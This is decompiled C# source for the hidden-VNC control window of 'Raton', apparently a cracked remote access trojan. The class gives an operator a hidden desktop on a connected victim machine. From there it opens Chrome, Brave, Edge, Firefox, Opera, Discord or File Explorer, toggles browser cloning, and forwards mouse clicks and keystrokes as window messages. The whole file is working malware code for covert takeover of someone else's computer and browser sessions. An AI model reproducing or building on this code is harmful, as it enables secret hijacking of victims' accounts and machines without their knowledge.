// Decompiled with JetBrains decompiler // Type: Raton.Forms.ClientForms.Monitor.ratonHVNC // Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null // MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 // Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe using CustomControls; using DarkModeForms; using Raton.Classes; using Raton.Properties; using Server.Connection; using Stuff; using System; using System.ComponentModel; using System.Drawing; using System.Threading.Tasks; using System.Windows.Forms; #nullable disable namespace Raton.Forms.ClientForms.Monitor; public class ratonHVNC : Form { private int hvncWidth; private int hvncHeight; private float hvncScale; private IContainer components; private FlatComboBox flatComboBox1; private RgbBuildButton button1; private Timer timer1; public PictureBox VNCBox; private CustomSwitch customSwitch1; private Label label1; private Panel panel1; private Label label3; private Label label2; private MenuStrip menuStrip1; private ToolStripMenuItem toggleConfigurationToolStripMenuItem; public SillyClient SillyClient { get; set; } public int HVNCWidth { get => this.hvncWidth; set => this.hvncWidth = value; } public int HVNCHeight { get => this.hvncHeight; set => this.hvncHeight = value; } public float HVNCScale { get => this.hvncScale; set => this.hvncScale = value; } public int FPS { get; set; } public ratonHVNC() { this.InitializeComponent(); DarkMode.Start((Form) this); } private void ratonHVNC_Load(object sender, EventArgs e) { this.VNCBox.Focus(); this.timer1.Start(); Task.Run((Action) (() => { Task.Delay(2000); Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 4); this.SillyClient.Send(pack.Pacc()); })); } private (int x, int y) ScaleMouse(int clientX, int clientY) { return ((int) ((double) clientX / (double) this.VNCBox.Width * (double) this.HVNCWidth / (double) this.HVNCScale), (int) ((double) clientY / (double) this.VNCBox.Height * (double) this.HVNCHeight / (double) this.HVNCScale)); } private void timer1_Tick(object sender, EventArgs e) { if (this.SillyClient != null && this.SillyClient.isConnected()) return; this.Close(); } private void ratonHVNC_FormClosing(object sender, FormClosingEventArgs e) { Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 1); this.SillyClient.Send(pack.Pacc()); } private void button1_Click(object sender, EventArgs e) { if (this.flatComboBox1.SelectedItem == null) return; switch (this.flatComboBox1.SelectedItem.ToString()) { case "Open Brave": Pack pack1 = new Pack(); pack1.SetString("Packet", "HVNC"); pack1.SetInt("Action", 13); this.SillyClient.Send(pack1.Pacc()); break; case "Open Chrome": Pack pack2 = new Pack(); pack2.SetString("Packet", "HVNC"); pack2.SetInt("Action", 8); this.SillyClient.Send(pack2.Pacc()); break; case "Open Discord": Pack pack3 = new Pack(); pack3.SetString("Packet", "HVNC"); pack3.SetInt("Action", 14); this.SillyClient.Send(pack3.Pacc()); break; case "Open Edge": Pack pack4 = new Pack(); pack4.SetString("Packet", "HVNC"); pack4.SetInt("Action", 10); this.SillyClient.Send(pack4.Pacc()); break; case "Open File explorer": Pack pack5 = new Pack(); pack5.SetString("Packet", "HVNC"); pack5.SetInt("Action", 4); this.SillyClient.Send(pack5.Pacc()); break; case "Open Firefox": Pack pack6 = new Pack(); pack6.SetString("Packet", "HVNC"); pack6.SetInt("Action", 9); this.SillyClient.Send(pack6.Pacc()); break; case "Open Opera": Pack pack7 = new Pack(); pack7.SetString("Packet", "HVNC"); pack7.SetInt("Action", 11); this.SillyClient.Send(pack7.Pacc()); break; case "Open OperaGX": Pack pack8 = new Pack(); pack8.SetString("Packet", "HVNC"); pack8.SetInt("Action", 12); this.SillyClient.Send(pack8.Pacc()); break; default: int num = (int) Messenger.MessageBox("Please select a valid option"); break; } } private void customSwitch1_CheckedChanged(object sender, EventArgs e) { if (this.customSwitch1.Checked) { Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 6); this.SillyClient.Send(pack.Pacc()); } else { Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 7); this.SillyClient.Send(pack.Pacc()); } } private void VNCBox_MouseDown(object sender, MouseEventArgs e) { (int x, int y) tuple = this.ScaleMouse(e.X, e.Y); int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue; Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 3); if (e.Button == MouseButtons.Left) { pack.SetInt("Msg", 513); pack.SetInt("WParam", 1); } else if (e.Button == MouseButtons.Right) { pack.SetInt("Msg", 516); pack.SetInt("WParam", 2); } pack.SetInt("LParam", num); this.SillyClient.Send(pack.Pacc()); } private void VNCBox_MouseUp(object sender, MouseEventArgs e) { (int x, int y) tuple = this.ScaleMouse(e.X, e.Y); int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue; Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 3); if (e.Button == MouseButtons.Left) { pack.SetInt("Msg", 514); pack.SetInt("WParam", 0); } else if (e.Button == MouseButtons.Right) { pack.SetInt("Msg", 517); pack.SetInt("WParam", 0); } pack.SetInt("LParam", num); this.SillyClient.Send(pack.Pacc()); } private void VNCBox_MouseMove(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.None) return; (int x, int y) tuple = this.ScaleMouse(e.X, e.Y); int num = tuple.y << 16 /*0x10*/ | tuple.x & (int) ushort.MaxValue; Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 3); pack.SetInt("Msg", 512 /*0x0200*/); pack.SetInt("WParam", 0); pack.SetInt("LParam", num); this.SillyClient.Send(pack.Pacc()); } private void ratonHVNC_KeyPress(object sender, KeyPressEventArgs e) { Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 3); pack.SetInt("Msg", 258); pack.SetInt("WParam", (int) e.KeyChar); pack.SetInt("LParam", 0); this.SillyClient.Send(pack.Pacc()); } private void ratonHVNC_KeyDown(object sender, KeyEventArgs e) { if (!char.IsControl((char) e.KeyCode)) return; Pack pack = new Pack(); pack.SetString("Packet", "HVNC"); pack.SetInt("Action", 3); pack.SetInt("Msg", 256 /*0x0100*/); pack.SetInt("WParam", (int) e.KeyCode); pack.SetInt("LParam", 0); this.SillyClient.Send(pack.Pacc()); } private void VNCBox_Click(object sender, EventArgs e) => this.VNCBox.Focus(); private void toggleConfigurationToolStripMenuItem_Click(object sender, EventArgs e) { if (this.panel1.Tag == (object) "one") { this.panel1.Visible = true; this.panel1.Tag = (object) "two"; } else { this.panel1.Visible = false; this.panel1.Tag = (object) "one"; } } private void timer2_Tick(object sender, EventArgs e) => this.FPS = 0; protected override void Dispose(bool disposing) { if (disposing && this.components != null) this.components.Dispose(); base.Dispose(disposing); } private void InitializeComponent() { this.components = (IContainer) new System.ComponentModel.Container(); ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonHVNC)); this.VNCBox = new PictureBox(); this.button1 = new RgbBuildButton(); this.timer1 = new Timer(this.components); this.label1 = new Label(); this.panel1 = new Panel(); this.label3 = new Label(); this.flatComboBox1 = new FlatComboBox(); this.customSwitch1 = new CustomSwitch(); this.label2 = new Label(); this.menuStrip1 = new MenuStrip(); this.toggleConfigurationToolStripMenuItem = new ToolStripMenuItem(); ((ISupportInitialize) this.VNCBox).BeginInit(); this.panel1.SuspendLayout(); this.menuStrip1.SuspendLayout(); this.SuspendLayout(); this.VNCBox.BackgroundImage = (Image) Resources.DeleteAllRows_16x; this.VNCBox.BackgroundImageLayout = ImageLayout.Center; this.VNCBox.Dock = DockStyle.Fill; this.VNCBox.Location = new Point(0, 24); this.VNCBox.Name = "VNCBox"; this.VNCBox.Size = new Size(1081, 644); this.VNCBox.SizeMode = PictureBoxSizeMode.StretchImage; this.VNCBox.TabIndex = 8; this.VNCBox.TabStop = false; this.VNCBox.Click += new EventHandler(this.VNCBox_Click); this.VNCBox.MouseDown += new MouseEventHandler(this.VNCBox_MouseDown); this.VNCBox.MouseMove += new MouseEventHandler(this.VNCBox_MouseMove); this.VNCBox.MouseUp += new MouseEventHandler(this.VNCBox_MouseUp); this.button1.Cursor = Cursors.Arrow; this.button1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); this.button1.ForeColor = Color.White; this.button1.Icon = (Image) Resources.ic_fluent_checkmark_circle_24_filled; this.button1.IconSize = 20; this.button1.IconSpacing = 8; this.button1.Location = new Point(20, 93); this.button1.Name = "button1"; this.button1.Size = new Size(419, 40); this.button1.TabIndex = 10; this.button1.Text = "Execute action"; this.button1.Click += new EventHandler(this.button1_Click); this.timer1.Tick += new EventHandler(this.timer1_Tick); this.label1.AutoSize = true; this.label1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); this.label1.Location = new Point(338, 65); this.label1.Name = "label1"; this.label1.Size = new Size(101, 17); this.label1.TabIndex = 12; this.label1.Text = "Clone browsers"; this.panel1.Controls.Add((Control) this.label3); this.panel1.Controls.Add((Control) this.flatComboBox1); this.panel1.Controls.Add((Control) this.button1); this.panel1.Controls.Add((Control) this.label1); this.panel1.Controls.Add((Control) this.customSwitch1); this.panel1.Controls.Add((Control) this.label2); this.panel1.Location = new Point(0, 24); this.panel1.Name = "panel1"; this.panel1.Size = new Size(458, 154); this.panel1.TabIndex = 13; this.panel1.Tag = (object) "one"; this.panel1.Visible = false; this.label3.AutoSize = true; this.label3.Font = new Font("Microsoft Sans Serif", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); this.label3.Location = new Point(132, 29); this.label3.Name = "label3"; this.label3.Size = new Size(215, 16 /*0x10*/); this.label3.TabIndex = 14; this.label3.Text = "Manage the current HVNC Session"; this.flatComboBox1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); this.flatComboBox1.FormattingEnabled = true; this.flatComboBox1.Items.AddRange(new object[8] { (object) "Open File explorer", (object) "Open Chrome", (object) "Open Brave", (object) "Open Edge", (object) "Open Firefox", (object) "Open Opera", (object) "Open OperaGX", (object) "Open Discord" }); this.flatComboBox1.Location = new Point(20, 62); this.flatComboBox1.Name = "flatComboBox1"; this.flatComboBox1.Size = new Size(266, 25); this.flatComboBox1.TabIndex = 9; this.flatComboBox1.Text = "Select actions here"; this.customSwitch1.AutoSize = true; this.customSwitch1.Location = new Point(292, 63 /*0x3F*/); this.customSwitch1.MinimumSize = new Size(45, 22); this.customSwitch1.Name = "customSwitch1"; this.customSwitch1.OffBackColor = Color.Gray; this.customSwitch1.OffToggleColor = Color.Gainsboro; this.customSwitch1.OnBackColor = Color.FromArgb(105, 245, 142); this.customSwitch1.OnToggleColor = Color.WhiteSmoke; this.customSwitch1.Size = new Size(45, 22); this.customSwitch1.TabIndex = 11; this.customSwitch1.UseVisualStyleBackColor = true; this.customSwitch1.CheckedChanged += new EventHandler(this.customSwitch1_CheckedChanged); this.label2.AutoSize = true; this.label2.Font = new Font("Microsoft Sans Serif", 11.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0); this.label2.Location = new Point(203, 13); this.label2.Name = "label2"; this.label2.Size = new Size(54, 18); this.label2.TabIndex = 13; this.label2.Text = "HVNC"; this.menuStrip1.Items.AddRange(new ToolStripItem[1] { (ToolStripItem) this.toggleConfigurationToolStripMenuItem }); this.menuStrip1.Location = new Point(0, 0); this.menuStrip1.Name = "menuStrip1"; this.menuStrip1.Size = new Size(1081, 24); this.menuStrip1.TabIndex = 14; this.menuStrip1.Text = "menuStrip1"; this.toggleConfigurationToolStripMenuItem.Image = (Image) Resources.SettingsOutline_16x; this.toggleConfigurationToolStripMenuItem.ImageScaling = ToolStripItemImageScaling.None; this.toggleConfigurationToolStripMenuItem.Name = "toggleConfigurationToolStripMenuItem"; this.toggleConfigurationToolStripMenuItem.Size = new Size(146, 20); this.toggleConfigurationToolStripMenuItem.Text = "Toggle configuration"; this.toggleConfigurationToolStripMenuItem.Click += new EventHandler(this.toggleConfigurationToolStripMenuItem_Click); this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(1081, 668); this.Controls.Add((Control) this.panel1); this.Controls.Add((Control) this.VNCBox); this.Controls.Add((Control) this.menuStrip1); this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); this.KeyPreview = true; this.MainMenuStrip = this.menuStrip1; this.Name = nameof (ratonHVNC); this.StartPosition = FormStartPosition.CenterScreen; this.Text = nameof (ratonHVNC); this.FormClosing += new FormClosingEventHandler(this.ratonHVNC_FormClosing); this.Load += new EventHandler(this.ratonHVNC_Load); this.KeyDown += new KeyEventHandler(this.ratonHVNC_KeyDown); this.KeyPress += new KeyPressEventHandler(this.ratonHVNC_KeyPress); ((ISupportInitialize) this.VNCBox).EndInit(); this.panel1.ResumeLayout(false); this.panel1.PerformLayout(); this.menuStrip1.ResumeLayout(false); this.menuStrip1.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); } }